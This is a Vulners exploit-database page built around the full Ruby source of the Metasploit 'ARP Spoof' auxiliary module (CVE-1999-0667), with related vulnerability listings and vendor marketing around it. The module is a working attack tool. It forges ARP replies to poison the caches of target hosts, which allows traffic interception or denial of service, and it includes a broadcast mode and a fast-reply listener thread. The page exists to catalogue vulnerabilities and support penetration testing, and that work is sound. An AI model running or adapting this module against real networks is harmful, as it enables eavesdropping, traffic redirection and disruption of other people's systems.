Lucene search
K

ARP Spoof

🗓️ 20 Nov 2011 02:12:07Reported by amaloteaux <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 58 Views

Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service. Module requires Metasploit: https://metasploit.com/downloa

Related
Code
ReporterTitlePublishedViews
Family
BDU FSTEC
The vulnerability of the Windows operating system allows a malicious individual to trigger a service failure or redirect network traffic.
5 Jul 201600:00
bdu_fstec
BDU FSTEC
The vulnerability of the embedded software of the Fanuc 32i numerical control system allows a malicious individual to gain access to information transmitted over the network.
5 Jul 201600:00
bdu_fstec
BDU FSTEC
The vulnerability of the Cisco IOS operating system, which allows a remote attacker to intercept network traffic.
5 Jul 201600:00
bdu_fstec
BDU FSTEC
The vulnerability of the Zyxel ZLD operating system allows a remote attacker to intercept network traffic.
7 Jul 201600:00
bdu_fstec
BDU FSTEC
The vulnerability of the microprogrammed software of the D–Link DSR–500 router allows a malicious individual to intercept network traffic.
7 Jul 201600:00
bdu_fstec
BDU FSTEC
The vulnerability of the microprogrammed software of the D–Link DSR–150 router allows a malicious individual to intercept network traffic.
7 Jul 201600:00
bdu_fstec
BDU FSTEC
The vulnerability of the microprogrammed software of the D–Link DSR–250 router allows a malicious individual to intercept network traffic.
7 Jul 201600:00
bdu_fstec
BDU FSTEC
The vulnerability of the microprogrammed routing software of the D–Link DSR–1000 allows a malicious actor to intercept network traffic.
7 Jul 201600:00
bdu_fstec
Circl
CVE-1999-0667
29 May 201815:50
circl
CVE
CVE-1999-0667
4 Feb 200005:00
cve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Capture
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'ARP Spoof',
      'Description' => %q{
        Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service.
      },
      'Author'      => 	'amaloteaux', # msf rewrite
                                      #tons of people
      'License'     => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '11169'],
          ['CVE', '1999-0667'],
          ['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing']
        ],
      'DisclosureDate' => 'Dec 22 1999' #osvdb date
    )

    register_options([
      OptString.new('SHOSTS',  	[true, 'Spoofed ip addresses']),
      OptString.new('SMAC',    	[false, 'The spoofed mac']),
      OptString.new('DHOSTS',  	[true, 'Target ip addresses']),
      OptString.new('INTERFACE', 	[false, 'The name of the interface']),
      OptBool.new(  'BIDIRECTIONAL',	[true, 'Spoof also the source with the dest',false]),
      OptBool.new(  'AUTO_ADD',	[true, 'Auto add new host when discovered by the listener',false]),
      OptBool.new(  'LISTENER',    	[true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true])
    ])

    register_advanced_options([
      OptString.new('LOCALSMAC',    	[false, 'The MAC address of the local interface to use for hosts detection, this is useful only if you want to spoof to another host with SMAC']),
      OptString.new('LOCALSIP',    	[false, 'The IP address of the local interface to use for hosts detection']),
      OptInt.new(   'PKT_DELAY',    	[true, 'The delay in milliseconds between each packet during poisoning', 100]),
      OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]),
      # This mode will generate address ip conflict pop up  on most systems
      OptBool.new(  'BROADCAST',    	[true, 'If set, the module will send replies on the broadcast address without consideration of DHOSTS', false])
    ])

    deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
  end

  def run
    open_pcap({'SNAPLEN' => 68, 'FILTER' => "arp[6:2] == 0x0002"})
    @netifaces = true
    if not netifaces_implemented?
      print_error("WARNING : Pcaprub is not up-to-date, some functionality will not be available")
      @netifaces = false
    end
    @spoofing = false
    # The local dst (and src) cache(s)
    @dsthosts_cache = {}
    @srchosts_cache = {}
    # Some additional caches for autoadd feature
    if datastore['AUTO_ADD']
      @dsthosts_autoadd_cache = {}
      if datastore['BIDIRECTIONAL']
        @srchosts_autoadd_cache = {}
      end
    end

    begin
      @interface = datastore['INTERFACE'] || Pcap.lookupdev
      # This is needed on windows cause we send interface directly to Pcap functions
      @interface = get_interface_guid(@interface)
      @smac = datastore['SMAC']
      @smac ||= get_mac(@interface) if @netifaces
      raise 'SMAC is not defined and can not be guessed' unless @smac
      raise 'Source MAC is not in correct format' unless is_mac?(@smac)

      @sip = datastore['LOCALSIP']
      @sip ||= get_ipv4_addr(@interface) if @netifaces
      raise "LOCALSIP is not defined and can not be guessed" unless @sip
      raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)

      shosts_range  = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
      @shosts = []
      if datastore['BIDIRECTIONAL']
        shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end}
      else
        shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end}
      end

      if datastore['BROADCAST']
        broadcast_spoof
      else
        arp_poisoning
      end

    rescue  =>  ex
      print_error( ex.message)
    ensure

      if datastore['LISTENER']
        @listener.kill if @listener
      end

      if capture and @spoofing and not datastore['BROADCAST']
        print_status("RE-ARPing the victims...")
        3.times do
          @dsthosts_cache.keys.sort.each do |dhost|
            dmac = @dsthosts_cache[dhost]
            if datastore['BIDIRECTIONAL']
              @srchosts_cache.keys.sort.each do |shost|
                smac = @srchosts_cache[shost]
                if shost != dhost
                  vprint_status("Sending arp packet for #{shost} to #{dhost}")
                  reply = buildreply(shost, smac, dhost, dmac)
                  inject(reply)
                  Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
                end
              end
            else
              @shosts.each do |shost|
                if shost != dhost
                  vprint_status("Sending arp request for #{shost} to #{dhost}")
                  request = buildprobe(dhost, dmac, shost)
                  inject(request)
                  Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
                end
              end
            end
          end
          if datastore['BIDIRECTIONAL']
            @srchosts_cache.keys.sort.each do |shost|
              smac = @srchosts_cache[shost]
              @dsthosts_cache.keys.sort.each do |dhost|
                dmac = @dsthosts_cache[dhost]
                if shost != dhost
                  vprint_status("Sending arp packet for #{dhost} to #{shost}")
                  reply = buildreply(dhost, dmac, shost, smac)
                  inject(reply)
                  Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
                end
              end
            end
          end
        end # 3.times
      end
      close_pcap
    end #begin/rescue/ensure
  end

  def broadcast_spoof
    print_status("ARP poisoning in progress (broadcast)...")
    while(true)
      @shosts.each do |shost|
        vprint_status("Sending arp packet for #{shost} address")
        reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff')
        inject(reply)
        Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
      end
    end
  end

  def arp_poisoning
    lsmac = datastore['LOCALSMAC'] || @smac
    raise 'Local Source Mac is not in correct format' unless is_mac?(lsmac)

    dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
    @dhosts = []
    dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end}

    # Build the local dest hosts cache
    print_status("Building the destination hosts cache...")
    @dhosts.each do |dhost|
      vprint_status("Sending arp packet to #{dhost}")

      probe = buildprobe(@sip, lsmac, dhost)
      inject(probe)
      while(reply = getreply())
        next if not reply.is_arp?
        # Without this check any arp request would be added to the cache
        if @dhosts.include? reply.arp_saddr_ip
          print_good("#{reply.arp_saddr_ip} appears to be up.")
          report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
          @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
        end
      end

    end
    # Wait some few seconds for last packets
    etime = Time.now.to_f + datastore['TIMEOUT']
    while (Time.now.to_f < etime)
      while(reply = getreply())
        next if not reply.is_arp?
        if @dhosts.include? reply.arp_saddr_ip
          print_good("#{reply.arp_saddr_ip} appears to be up.")
          report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
          @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
        end
      end
      Kernel.select(nil, nil, nil, 0.50)
    end
    raise "No hosts found" unless @dsthosts_cache.length > 0

    # Build the local src hosts cache
    if datastore['BIDIRECTIONAL']
      print_status("Building the source hosts cache for unknown source hosts...")
      @shosts.each do |shost|
        if @dsthosts_cache.has_key? shost
          vprint_status("Adding #{shost} from destination cache")
          @srchosts_cache[shost] = @dsthosts_cache[shost]
          next
        end
        vprint_status("Sending arp packet to #{shost}")
        probe = buildprobe(@sip, lsmac, shost)
        inject(probe)
        while(reply = getreply())
          next if not reply.is_arp?
          if @shosts.include? reply.arp_saddr_ip
            print_good("#{reply.arp_saddr_ip} appears to be up.")
            report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
            @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
          end
        end

      end
      # Wait some few seconds for last packets
      etime = Time.now.to_f + datastore['TIMEOUT']
      while (Time.now.to_f < etime)
        while(reply = getreply())
          next if not reply.is_arp?
          if @shosts.include? reply.arp_saddr_ip
            print_good("#{reply.arp_saddr_ip} appears to be up.")
            report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
            @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
          end
        end
        Kernel.select(nil, nil, nil, 0.50)
      end
      raise "No hosts found" unless @srchosts_cache.length > 0
    end

    if datastore['AUTO_ADD']
      @mutex_cache = Mutex.new
    end

    # Start the listener
    if datastore['LISTENER']
      start_listener(@dsthosts_cache, @srchosts_cache)
    end
    # Do the job until user interrupt it
    print_status("ARP poisoning in progress...")
    @spoofing = true
    while(true)
      if datastore['AUTO_ADD']
        @mutex_cache.lock
        if @dsthosts_autoadd_cache.length > 0
          @dsthosts_cache.merge!(@dsthosts_autoadd_cache)
          @dsthosts_autoadd_cache = {}
        end
        if datastore['BIDIRECTIONAL']
          if @srchosts_autoadd_cache.length > 0
            @srchosts_cache.merge!(@srchosts_autoadd_cache)
            @srchosts_autoadd_cache = {}
          end
        end
        @mutex_cache.unlock
      end
      @dsthosts_cache.keys.sort.each do |dhost|
        dmac = @dsthosts_cache[dhost]
        if datastore['BIDIRECTIONAL']
          @srchosts_cache.keys.sort.each do |shost|
            smac = @srchosts_cache[shost]
            if shost != dhost
              vprint_status("Sending arp packet for #{shost} to #{dhost}")
              reply = buildreply(shost, @smac, dhost, dmac)
              inject(reply)
              Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
            end
          end
        else
          @shosts.each do |shost|
            if shost != dhost
              vprint_status("Sending arp packet for #{shost} to #{dhost}")
              reply = buildreply(shost, @smac, dhost, dmac)
              inject(reply)
              Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
            end
          end
        end
      end

      if datastore['BIDIRECTIONAL']
        @srchosts_cache.keys.sort.each do |shost|
          smac = @srchosts_cache[shost]
          @dsthosts_cache.keys.sort.each do |dhost|
            dmac = @dsthosts_cache[dhost]
            if shost != dhost
              vprint_status("Sending arp packet for #{dhost} to #{shost}")
              reply = buildreply(dhost, @smac, shost, smac)
              inject(reply)
              Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
            end
          end
        end
      end
    end
  end


  def is_mac?(mac)
    if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true
    else false end
  end

  def buildprobe(shost, smac, dhost)
    p = PacketFu::ARPPacket.new
    p.eth_saddr = smac
    p.eth_daddr = "ff:ff:ff:ff:ff:ff"
    p.arp_opcode = 1
    p.arp_daddr_mac = p.eth_daddr
    p.arp_saddr_mac = p.eth_saddr
    p.arp_saddr_ip = shost
    p.arp_daddr_ip = dhost
    p
  end

  def buildreply(shost, smac, dhost, dmac)
    p = PacketFu::ARPPacket.new
    p.eth_saddr = smac
    p.eth_daddr = dmac
    p.arp_opcode = 2 # ARP Reply
    p.arp_daddr_mac = p.eth_daddr
    p.arp_saddr_mac = p.eth_saddr
    p.arp_saddr_ip = shost
    p.arp_daddr_ip = dhost
    p
  end

  def getreply
    pkt_bytes = capture.next
    return if not pkt_bytes
    pkt = PacketFu::Packet.parse(pkt_bytes)
    return unless pkt.is_arp?
    return unless pkt.arp_opcode == 2
    pkt
  end

  def start_listener(dsthosts_cache, srchosts_cache)

    if datastore['BIDIRECTIONAL']
      args = {:BIDIRECTIONAL => true,  :dhosts => dsthosts_cache.dup, :shosts => srchosts_cache.dup}
    else
      args = {:BIDIRECTIONAL => false, :dhosts => dsthosts_cache.dup, :shosts => @shosts.dup}
    end
    # To avoid any race condition in case of , even if actually those are never updated after the thread is launched
    args[:AUTO_ADD] = datastore['AUTO_ADD']
    args[:localip] = @sip.dup
    @listener = Thread.new(args) do |args|
      begin
        # one more local copy
        liste_src_ips = []
        if args[:BIDIRECTIONAL]
          args[:shosts].each_key {|address| liste_src_ips.push address}
        else
          args[:shosts].each {|address| liste_src_ips.push address}
        end
        liste_dst_ips = []
        args[:dhosts].each_key {|address| liste_dst_ips.push address}
        localip = args[:localip]

        listener_capture = ::Pcap.open_live(@interface, 68, true, 0)
        listener_capture.setfilter("arp[6:2] == 0x0001")
        while(true)
          pkt_bytes = listener_capture.next
          if pkt_bytes
            pkt = PacketFu::Packet.parse(pkt_bytes)
            if pkt.is_arp?
              if pkt.arp_opcode == 1
                # check if the source ip is in the dest hosts
                if (liste_dst_ips.include? pkt.arp_saddr_ip and liste_src_ips.include? pkt.arp_daddr_ip) or
                  (args[:BIDIRECTIONAL] and liste_dst_ips.include? pkt.arp_daddr_ip and liste_src_ips.include? pkt.arp_saddr_ip)
                  vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")
                  reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)
                  3.times{listener_capture.inject(reply.to_s)}
                elsif args[:AUTO_ADD]
                  if (@dhosts.include? pkt.arp_saddr_ip and not liste_dst_ips.include? pkt.arp_saddr_ip and
                    pkt.arp_saddr_ip != localip)
                    @mutex_cache.lock
                    print_status("#{pkt.arp_saddr_ip} appears to be up.")
                    @dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
                    liste_dst_ips.push pkt.arp_saddr_ip
                    @mutex_cache.unlock
                  elsif (args[:BIDIRECTIONAL] and @shosts.include? pkt.arp_saddr_ip and
                    not liste_src_ips.include? pkt.arp_saddr_ip and pkt.arp_saddr_ip != localip)
                    @mutex_cache.lock
                    print_status("#{pkt.arp_saddr_ip} appears to be up.")
                    @srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
                    liste_src_ips.push pkt.arp_saddr_ip
                    @mutex_cache.unlock
                  end
                end
              end
            end
          end
        end
      rescue => ex
        print_error("Listener Error: #{ex.message}")
        print_error("Listener Error: Listener is stopped")
      end
    end
    @listener.abort_on_exception = true
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jan 2024 20:02Current
7.4High risk
Vulners AI Score7.4
CVSS 210
EPSS0.14703
58